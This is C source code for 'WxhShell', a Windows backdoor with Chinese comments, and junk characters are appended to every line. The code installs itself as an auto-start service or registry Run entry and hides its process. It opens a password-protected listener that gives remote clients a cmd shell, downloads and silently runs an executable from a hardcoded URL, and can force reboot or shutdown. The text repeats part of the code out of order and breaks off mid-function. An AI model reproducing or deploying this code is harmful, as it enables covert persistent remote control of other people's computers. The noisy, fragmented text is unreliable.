    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 02]8|B(E90  
    if(Boot(SHUTDOWN)) Fyi?,,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y{&{=1#  
    else { |,M#8NOp:  
    closesocket(wsh); iZDb.9@&t  
    ExitThread(0); !>a&`j2:W  
    }  8o%<.]   
    break; df21t^0/  
    } ~:ub  
  // 获取shell U#UVenp@  
  case 's': { Kd AR)EU>  
    CmdShell(wsh); pUCEYR  
    closesocket(wsh); ^^t]vojX  
    ExitThread(0); 82^ z -t{  
    break; EA%#/n  
  } 'AAF/9  
  // 退出 ^6N3 nkyZ  
  case 'x': { lu G023'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ur~Tql  
    CloseIt(wsh); FEm1^X#]  
    break; >h/)r6  
    } h^[pp c{Z  
  // 离开 <.?^LT  
  case 'q': { z Et6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :3E8`q~c1  
    closesocket(wsh); 3Aqe;Wf9%+  
    WSACleanup(); ^G7n#  
    exit(1); ]`CKQ> o  
    break; b6?Xo/lJ.  
        } eJVOVPg<,  
  } Z7KB?1{G  
  } SoM ]2^  
SzgY2+Qq  
  // 提示信息 V fE^g\Ia  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3LmBV\["  
} @4  
  } E``!-W  
8+g|>{Vov  
  return; ]VHdE_7)  
} e5"-4udCn  
')yF0  
// shell模块句柄 tswG"1R  
int CmdShell(SOCKET sock) q)z1</B-  
{ {_k!!p6  
STARTUPINFO si; Tg{dIh.Q~O  
ZeroMemory(&si,sizeof(si)); n )wpxR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .x-Z+Rs{g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q9a wzj  
PROCESS_INFORMATION ProcessInfo; ~; O= 7  
char cmdline[]="cmd"; ]>S$R&a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _+ R_ms  
  return 0; zM9).D H  
} 644hQW&W  
AIRVvW~($  
// 自身启动模式 zvQ^f@lq2  
int StartFromService(void) +2k|g2  
{ D.oS8'   
typedef struct R(7X}*@X  
{ |]2eGrGj4  
  DWORD ExitStatus; 3Oig/KZ  
  DWORD PebBaseAddress; Yf2+@E  
  DWORD AffinityMask; 7K5o" "  
  DWORD BasePriority; )lngef /D_  
  ULONG UniqueProcessId; WSpg(\Cs  
  ULONG InheritedFromUniqueProcessId; (>Q9jNW  
}   PROCESS_BASIC_INFORMATION; 6Kv}2M')+  
Q+%m+ /Zq  
PROCNTQSIP NtQueryInformationProcess; ~1wdAq`'a  
>FMT#x t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TF}4X;3Dsy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \ /X!tlwxh  
WHD/s  
  HANDLE             hProcess; NId~| &\  
  PROCESS_BASIC_INFORMATION pbi; mGyIr kE  
oE|{|27X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {dSU \':  
  if(NULL == hInst ) return 0; iR}i42Cu  
7+Jma!o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2M( PH]D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BoiIr[ (  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kvO`]>#;$?  
%N_S/V0`  
  if (!NtQueryInformationProcess) return 0; (=&bo p  
J/P@m_Yx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +EB,7<5<  
  if(!hProcess) return 0; 1-Wnc'(OK  
DGuUI}|)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?PxYS%D_L  
GzZ|T7fm  
  CloseHandle(hProcess); (Ss77~W7  
f!R^;'a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f6_|dvY3  
if(hProcess==NULL) return 0; cwD*>[j  
I>4Tbwy.-  
HMODULE hMod; F+m4  
char procName[255]; Xy8ie:D  
unsigned long cbNeeded; jiB>.te  
Z?!:=x>7m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z&yb_A:>  
T[$hYe8%^  
  CloseHandle(hProcess); Y| N vBr  
Z-sN4fr a  
if(strstr(procName,"services")) return 1; // 以服务启动 v.^ 'x  
$X\` 7`v  
  return 0; // 注册表启动 &u`rE""  
} #?|1~HC  
@aPu}Hi  
// 主模块 n~>CE"q  
int StartWxhshell(LPSTR lpCmdLine) ws(}K+y_  
{ +nyN+X34B  
  SOCKET wsl; y8WXp_\  
BOOL val=TRUE; `::(jW.KO  
  int port=0; UeiJhH,u   
  struct sockaddr_in door; iKEKk\j-w  
L"vG:Mq@D  
  if(wscfg.ws_autoins) Install(); ^)P5(fJ  
I8oKa$RF  
port=atoi(lpCmdLine); i^V4N4ux]  
'*{Rn7B5  
if(port<=0) port=wscfg.ws_port; 1X_!%Z  
\w\47/k{  
  WSADATA data; -N!soJ<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `&Of82*w  
aKU8" 5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cM'[;u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }PD(kk6fX  
  door.sin_family = AF_INET; Gqz)='  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J<:D~@qq  
  door.sin_port = htons(port); :bF2b..XOu  
%|6Q7'@p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7z0 uj  
closesocket(wsl); WMRgf~TY=2  
return 1; )^2jsy -/  
} a ZCZ/  
5N</Z6f'o  
  if(listen(wsl,2) == INVALID_SOCKET) { btz3f9  
closesocket(wsl); +O:pZz  
return 1; V`&*%xgGR  
} l{SPV8[i  
  Wxhshell(wsl); dE!=a|Pl  
  WSACleanup(); EjCzou  
2 ]6u B e  
return 0; 2X |jq4  
.B-,GD}  
} 0+`*8G)  
!Fs) "?  
// 以NT服务方式启动 91Sb= 9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <u% e*  
{ .8xacVyK2  
DWORD   status = 0; Ox1QP2t6Y  
  DWORD   specificError = 0xfffffff; 8n p>#V  
lSv;wwEg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [ #fqyg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $<DA[ %pv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FNRE_83  
  serviceStatus.dwWin32ExitCode     = 0; Q 6<Uui w  
  serviceStatus.dwServiceSpecificExitCode = 0; >l*9DaZ  
  serviceStatus.dwCheckPoint       = 0; eeR@p$4i  
  serviceStatus.dwWaitHint       = 0; >!.lr9(l  
fe`G^hV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i]WlMC6  
  if (hServiceStatusHandle==0) return; jsht2]iq3K  
gG>^h1_o~  
status = GetLastError(); ?PtRb:RHt  
  if (status!=NO_ERROR) -^yc yZ  
{ 1ORi]`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q"_T040B  
    serviceStatus.dwCheckPoint       = 0; tl#s:  
    serviceStatus.dwWaitHint       = 0; 6y!?xot  
    serviceStatus.dwWin32ExitCode     = status; >V=@[B(0  
    serviceStatus.dwServiceSpecificExitCode = specificError; tce8*:rNH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mK/P4]9g  
    return; eC:Q)%$%l  
  } iz5wUyeg  
xJ5!` #=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k(Xv&Zn  
  serviceStatus.dwCheckPoint       = 0; 5!fW&OiY  
  serviceStatus.dwWaitHint       = 0; vy y\^nL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ITPp T  
} JNCtsfd  
w:(7fu=  
// 处理NT服务事件,比如:启动、停止 ExU|EN-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ``CADiM:S  
{ vK~KeZ\,p=  
switch(fdwControl) 4?uG> ;V  
{ wA&)y>n-  
case SERVICE_CONTROL_STOP: Y\S^DJy  
  serviceStatus.dwWin32ExitCode = 0; _qNLy/AY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UHHKI)(  
  serviceStatus.dwCheckPoint   = 0; .[ s82c]]6  
  serviceStatus.dwWaitHint     = 0; Tz~ ftf  
  { +>({pHZ<S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mQuaO# I,  
  } Qn&^.e9I  
  return; z3LPR:&Z  
case SERVICE_CONTROL_PAUSE: xM,(|p(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;g9:0,xT4  
  break; bd;f@)X  
case SERVICE_CONTROL_CONTINUE: <OB~60h"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xGk4KcxKs  
  break; H43D=N&  
case SERVICE_CONTROL_INTERROGATE: ,6pH *b $  
  break; Xh!Pg)|E  
}; 'mR+W{r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d'D\#+%> =  
} ?"u-@E[m  
A2S9h,t  
// 标准应用程序主函数 S*:w\nXP~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vH8%a8V  
{ <-aI%'?*  
TnAX;+u  
// 获取操作系统版本  p$v +L  
OsIsNt=GetOsVer(); z*1K<w8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YNk|UwJi  
RjHpC7b*%  
  // 从命令行安装 Jx?>1q=M  
  if(strpbrk(lpCmdLine,"iI")) Install(); #C}(7{Vt  
5(Oc"0''H  
  // 下载执行文件 FQl|<l6  
if(wscfg.ws_downexe) { AW68'G*m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M lwQ_5O  
  WinExec(wscfg.ws_filenam,SW_HIDE); h]9^bX__Z  
} &|] ^ u/  
^q2zqC  
if(!OsIsNt) { ywte \}  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZeV)/g,w  
HideProc(); v21?  
StartWxhshell(lpCmdLine); ~Wv?p4  
} ,BAF?} 04=  
else Z8UM0B=i  
  if(StartFromService()) -C<aB750O)  
  // 以服务方式启动 Wno5B/V  
  StartServiceCtrlDispatcher(DispatchTable); \ } f*   
else q>X 2=&1  
  // 普通方式启动 D3ad2vH  
  StartWxhshell(lpCmdLine); 4F!d V;"Z(  
[N)M]u  
return 0; (0f^Hh wF  
} iq -o$6Pg  
G> >_G<x  
!CKUkoX  
Cn '=_1p  
=========================================== U7?ez  
pXa? Q@ 6  
eRbO Hj1  
k*^W lCZ3  
# w6CL  
"-%H</  
" :B~c>:  
'"^JNb^I  
#include <stdio.h> CXZeL 1+  
#include <string.h> !f 6  
#include <windows.h> :DJ@HY  
#include <winsock2.h> [*t E HW  
#include <winsvc.h> v(~m!8!TI  
#include <urlmon.h> *E'K{?-K  
-^DB?j+  
#pragma comment (lib, "Ws2_32.lib") UtN>6$u  
#pragma comment (lib, "urlmon.lib") jfamuu7  
B?Skw{&  
#define MAX_USER   100 // 最大客户端连接数 ;0'v`ob'.?  
#define BUF_SOCK   200 // sock buffer Z ngJ9js  
#define KEY_BUFF   255 // 输入 buffer @35 shLs  
wP*Z/}Uum+  
#define REBOOT     0   // 重启 _!zY(9%  
#define SHUTDOWN   1   // 关机 3FN? CN] O  
3LR Eue7Gr  
#define DEF_PORT   5000 // 监听端口 RSC-+c6 1  
g=Di2j{A  
#define REG_LEN     16   // 注册表键长度 -f=hL7NW  
#define SVC_LEN     80   // NT服务名长度 /jD'o>  
KG$2u:n  
// 从dll定义API 9j`-fs@:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |{T2|iJI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }__+[-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6* 7&X#gG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _L":Wux  
bSfQH4F  
// wxhshell配置信息 "Cb<~Dy  
struct WSCFG { 6tguy  
  int ws_port;         // 监听端口 F04Etf 2k  
  char ws_passstr[REG_LEN]; // 口令 R8l9i2  
  int ws_autoins;       // 安装标记, 1=yes 0=no xJCpWU3wM  
  char ws_regname[REG_LEN]; // 注册表键名 )w-?|2-w5  
  char ws_svcname[REG_LEN]; // 服务名 CCV~nf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rd)QVEk>SD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UZ#2*PH2E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d/1XL[&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s9iM hCu|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \BL9}5y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @#apOoVW>  
Sls> OIc  
}; /Ny&;Y  
5oS\uX|  
// default Wxhshell configuration o6 /?WR9  
struct WSCFG wscfg={DEF_PORT, Cmj)CJ-  
    "xuhuanlingzhe", q@:&^CS  
    1, "|if<hx+  
    "Wxhshell", 3nO|A: t  
    "Wxhshell", n>WS@b/o  
            "WxhShell Service", XJ;/ kR  
    "Wrsky Windows CmdShell Service", 00i9yC8@6  
    "Please Input Your Password: ", (agdgy:#  
  1, Xc!w y9m  
  "http://www.wrsky.com/wxhshell.exe", 3>+;G4  
  "Wxhshell.exe" mX89^  
    }; 9[`6f8S_$  
:9}*p@  
// 消息定义模块 |w DCIHzQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n[@Ur2&)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9=|5-? ^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w8qI7/  
char *msg_ws_ext="\n\rExit."; cc[w%jlA#  
char *msg_ws_end="\n\rQuit."; 4tI~d8?pk+  
char *msg_ws_boot="\n\rReboot..."; K_i2%t3  
char *msg_ws_poff="\n\rShutdown..."; ZAE;$pkP  
char *msg_ws_down="\n\rSave to "; jkq+j^  
a;K:~R+@,  
char *msg_ws_err="\n\rErr!"; >EY0-B  
char *msg_ws_ok="\n\rOK!"; o&]qjFo\m  
k;sUDmrO  
char ExeFile[MAX_PATH]; @UKd0kxPN{  
int nUser = 0; X 6)LpMm  
HANDLE handles[MAX_USER]; SpgVsz  
int OsIsNt; cnR>)9sX  
5 F-Q&  
SERVICE_STATUS       serviceStatus; ze- iDd_y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T1E{NgK  
L" o6)N  
// 函数声明 uyj5}F+O  
int Install(void); ;c`B '  
int Uninstall(void); `d8TA#|`  
int DownloadFile(char *sURL, SOCKET wsh); )l=j,4nn  
int Boot(int flag); -8Ii QRS  
void HideProc(void); v,jU9D \  
int GetOsVer(void); J ?&9ofj&  
int Wxhshell(SOCKET wsl); 4P8:aZM  
void TalkWithClient(void *cs); y ;;@T X  
int CmdShell(SOCKET sock); :9<5GF(  
int StartFromService(void); L-XTIL$$  
int StartWxhshell(LPSTR lpCmdLine); S'txY\  
STI8[e7{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >2a~hW|,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Sz =z TPnO  
<*[(t;i  
// 数据结构和表定义 f =Nm2(e  
SERVICE_TABLE_ENTRY DispatchTable[] = MYjCxy-;A  
{ O%Mh g\#B  
{wscfg.ws_svcname, NTServiceMain}, 6[cMPp x  
{NULL, NULL} &\LbajP:+  
}; tm$3ZzP4  
B4hR3%  
// 自我安装 0^+W"O  
int Install(void) 1W U-gQki!  
{ y3x_B@}BY  
  char svExeFile[MAX_PATH]; <%5ny!]  
  HKEY key; M<SZ7^9<  
  strcpy(svExeFile,ExeFile); q bo`E!K  
@c.pOX[]m,  
// 如果是win9x系统,修改注册表设为自启动 %lBFj/B  
if(!OsIsNt) { }{$@|6)R   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HkrNt/]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M-n +3E9  
  RegCloseKey(key); 8g3 6-8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gY%-0@g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )lZb=t  
  RegCloseKey(key); %EuSP0  
  return 0; `!i>fo~  
    } J? C"be=  
  } K$4Ky&89  
} =_5-z|<  
else { ]]+"`t,-  
O?@AnkOhn  
// 如果是NT以上系统,安装为系统服务 s^cHR1^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [8ih-k  
if (schSCManager!=0) ;yr 'K  
{ "zugnim  
  SC_HANDLE schService = CreateService ?n}L+|  
  ( c5JxKU_  
  schSCManager, BwR)--75  
  wscfg.ws_svcname, IMj{n.y4  
  wscfg.ws_svcdisp, ;*8$BuD  
  SERVICE_ALL_ACCESS, .A E(D7d6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yv>% 5`  
  SERVICE_AUTO_START, =dPrG=A   
  SERVICE_ERROR_NORMAL, 7z}NI,R}1  
  svExeFile, .mMM]*e[0  
  NULL, Hg]r5Fe/c  
  NULL, !(/dbHB  
  NULL, \Q]7Hw<  
  NULL, N*eZ4s'  
  NULL DUaj]V{_^  
  ); KyjN'F$  
  if (schService!=0) _s^sZ{'2_  
  { 'h$1vT  
  CloseServiceHandle(schService); T5ol2  
  CloseServiceHandle(schSCManager); :p89J\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _f/6bpv  
  strcat(svExeFile,wscfg.ws_svcname); bi QDupTz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ct`89~"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =m UtBD.;  
  RegCloseKey(key); A," u~6Bn  
  return 0; 8< R#}  
    } o]@?QAu  
  } %5'6^bT  
  CloseServiceHandle(schSCManager); Wh,p$|vL  
} {$Qw]?Yv  
} Bx)4BPaN  
$%ps:ui~X  
return 1; MFRM M%`  
} y6f YNB  
}5`Kn}rY  
// 自我卸载 -GH>12YP  
int Uninstall(void) q>t#5Z81  
{ n}EH{k9#  
  HKEY key; Tv!zqx#E  
X-=49)  
if(!OsIsNt) { V!u W\i/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y-9Mm9J  
  RegDeleteValue(key,wscfg.ws_regname); w~Aw?75 t  
  RegCloseKey(key); `KB;3L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f-^JI*hj  
  RegDeleteValue(key,wscfg.ws_regname); #mFIZMTRd  
  RegCloseKey(key); J.$N<.  
  return 0; EjrK.|I0  
  } ^8OK.iC  
} R10R,*6>  
} vr"O9L w  
else { 0tK(:9S  
qf;x~1efC4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2)-Umq{]{  
if (schSCManager!=0) |cs]98FEf  
{ 9!; /+P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0.+MlyA  
  if (schService!=0) G .NGS%v  
  { ZwM(H[iqL  
  if(DeleteService(schService)!=0) { \I (g70  
  CloseServiceHandle(schService); `p#tx.o  
  CloseServiceHandle(schSCManager); Zcjh  
  return 0; lxf+$Z`~:  
  } *lc|iq\  
  CloseServiceHandle(schService); LtW}R4}3  
  } ?L x*MJZ  
  CloseServiceHandle(schSCManager); W^k95%zBM  
} 7_HFQT1.N  
} ^VOFkUp)  
evjj~xkte  
return 1; sFt"2TVr3  
} l|v`B6(  
Ir#]p9:x  
// 从指定url下载文件 [>![ViX  
int DownloadFile(char *sURL, SOCKET wsh) lha)4d  
{ F JCs$0  
  HRESULT hr; 7H.3.j(L  
char seps[]= "/"; ?fW['%  
char *token; e>0gE`8A  
char *file; g-?@a  
char myURL[MAX_PATH]; @ Z.BYC  
char myFILE[MAX_PATH]; 42M_  %l_  
41g "7Mk  
strcpy(myURL,sURL); F/V -@SF  
  token=strtok(myURL,seps); bI+/0X x  
  while(token!=NULL) @CMEmgk~  
  { "zj[v1K9-A  
    file=token; T[Lz4;TRk5  
  token=strtok(NULL,seps); V_zU?}lZ^  
  } V/`vX;%  
jh(T?t$&  
GetCurrentDirectory(MAX_PATH,myFILE); jIEntk  
strcat(myFILE, "\\"); G>=Fdt7Oc  
strcat(myFILE, file); /g$G G9  
  send(wsh,myFILE,strlen(myFILE),0); L>LIN 1A  
send(wsh,"...",3,0); U$|q]N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PzOnS   
  if(hr==S_OK) ;6:9EEd  
return 0; bMn)lrsX  
else -U*J5Q  
return 1; SSxp!E'  
,.Lwtp,n  
} ;.'?(iEB  
9TX2h0U?  
// 系统电源模块  LAkBf  
int Boot(int flag) PriLV4?  
{ F Y<Q|Ov  
  HANDLE hToken; 4M#i_.`z  
  TOKEN_PRIVILEGES tkp; EHN(K-  
wx^Det  
  if(OsIsNt) { hC[ =e`j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]VL} eHZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z_[ P7P  
    tkp.PrivilegeCount = 1; 4%2APvLW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,Qx]_gZ`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Idb*,l|<  
if(flag==REBOOT) { M287Z[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~7 `,}) d  
  return 0; G9NI`]k  
} 3Q'vVNFh<  
else { /poGhB 1k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |.VSw  
  return 0; 4GbfA .u  
} Y?TS,   
  } @Ddz|4vEi  
  else { "4\k1H"_  
if(flag==REBOOT) { ^D<CoxG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L&c & <+0T  
  return 0; ( +Sv3h  
} KCO.8=y3  
else { D(l,Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6@TU9AZS `  
  return 0; )X-'Q-  
} 8t Q;N'  
} XwUa|"X6  
?r KbL^2  
return 1; rRg,{:;A  
} D'<L6w`  
R\|,GZ!`+  
// win9x进程隐藏模块 1~t.2eUG  
void HideProc(void) ]XU4nNi  
{ HdN5zl,q  
VcGl8~#9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >ei~:z]R  
  if ( hKernel != NULL ) >MJ#|vO  
  { E447'aJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +q'\rpt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?h6|N%U'  
    FreeLibrary(hKernel); vo f8bQ{&  
  } 23P&n(.  
-=nk,cYn  
return; u"q5 6}Q?]  
} vP x/&x  
a M9v  
// 获取操作系统版本 u8T@W}FX  
int GetOsVer(void) uLafO=Q  
{ w%.hALN5-C  
  OSVERSIONINFO winfo; X8VBs#tLE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XjF@kQeM=  
  GetVersionEx(&winfo); j1KNgAo<4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =B9-}]DDO  
  return 1; 5]>*0#C S  
  else H,]8[ qT<  
  return 0; 8'u9R~})   
} h*%FZ}}`q  
u Jqv@GFv  
// 客户端句柄模块 &EqLF  
int Wxhshell(SOCKET wsl) ZA+dtEE=f9  
{ uG^CyM>R`  
  SOCKET wsh; z3y{0<3  
  struct sockaddr_in client; (B>/LsTu  
  DWORD myID; 'g!T${  
#h?I oB7  
  while(nUser<MAX_USER) q)i %*IY  
{ ?D6uviQg  
  int nSize=sizeof(client); ?>Sv_0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S s+F  
  if(wsh==INVALID_SOCKET) return 1; wkM1tKhy/  
/QY F|%7!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .26mB Xr  
if(handles[nUser]==0) K f/[Edn  
  closesocket(wsh); ~.aR=m\#  
else W}f)VC;D  
  nUser++; nd]SI;<  
  } (da`aRVDp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =SXdO)%2  
F%h3?"s  
  return 0; M@R"-$Z  
} G9f6'5 O  
eCYPd-d  
// 关闭 socket Fp/{L  
void CloseIt(SOCKET wsh) C3}:DIn"w  
{ >G:Q/3jh  
closesocket(wsh); H].|K/-p  
nUser--; hI'WfF!X  
ExitThread(0); rW)h ? , b  
} =p8uP5H  
f`n4'dG  
// 客户端请求句柄 /?eVWCR  
void TalkWithClient(void *cs) iM@$uD$_Q2  
{ q#tUDxf(|  
5p (zhfuG  
  SOCKET wsh=(SOCKET)cs; _K o#36.S  
  char pwd[SVC_LEN]; V4+ |D2   
  char cmd[KEY_BUFF]; eR$@Q  
char chr[1]; LH5Z@*0#  
int i,j; }T@=I&g;  
&eHRn_st5b  
  while (nUser < MAX_USER) { H)Btm  
M76p=*  
if(wscfg.ws_passstr) { 5EFt0?G   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2#>;cn\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,X.[37  
  //ZeroMemory(pwd,KEY_BUFF); z:>cQUYl  
      i=0; 2aj1IBnz6/  
  while(i<SVC_LEN) { 8:$h&aBI  
t(u2%R4<d  
  // 设置超时 Co1d44Q  
  fd_set FdRead; VBX)xQazU  
  struct timeval TimeOut; 0~bUW V  
  FD_ZERO(&FdRead); Wef%f] u  
  FD_SET(wsh,&FdRead); pR61bl)  
  TimeOut.tv_sec=8; wtw=RA  
  TimeOut.tv_usec=0; w"v!+~/9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  r{;NGQYs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BS9VwG <Z  
7%y$^B7{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ln8Cpbca  
  pwd=chr[0]; ib=)N)l  
  if(chr[0]==0xd || chr[0]==0xa) { Dh8ECy5k<*  
  pwd=0; gQ_<;'m)2  
  break; )2&3D"V  
  } tm+*ik=x|  
  i++; hzo> :U  
    } G?s9c0f  
o;$xN3f,  
  // 如果是非法用户,关闭 socket $G".PWc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q;]JVT1  
} KqK]R6>  
Ymz/:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gJQ#j~'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p F{jIXu  
[Fl_R[o  
while(1) { )9hqd  
NoiB9 8g  
  ZeroMemory(cmd,KEY_BUFF); EhxpMTS  
}u_D{bz  
      // 自动支持客户端 telnet标准   `HX:U3/  
  j=0; 2_q/<8t  
  while(j<KEY_BUFF) { %e~xO x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {<42PJtPY  
  cmd[j]=chr[0]; d4| )=  
  if(chr[0]==0xa || chr[0]==0xd) { g-eJan&]N  
  cmd[j]=0; 5W&L6.J}+  
  break; 2][9Wp  
  } danPy2  
  j++; fx;rMGa  
    } )x6 &Y  
t7f(%/] H0  
  // 下载文件 > Vm}u`x  
  if(strstr(cmd,"http://")) { "wgPPop  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `?z('FV  
  if(DownloadFile(cmd,wsh)) N3%#JdzZ$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q3x"9i `  
  else \u,CixV=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !D=!  
  } bo\ bs1  
  else { 3"h*L8No  
~<[+!&<U  
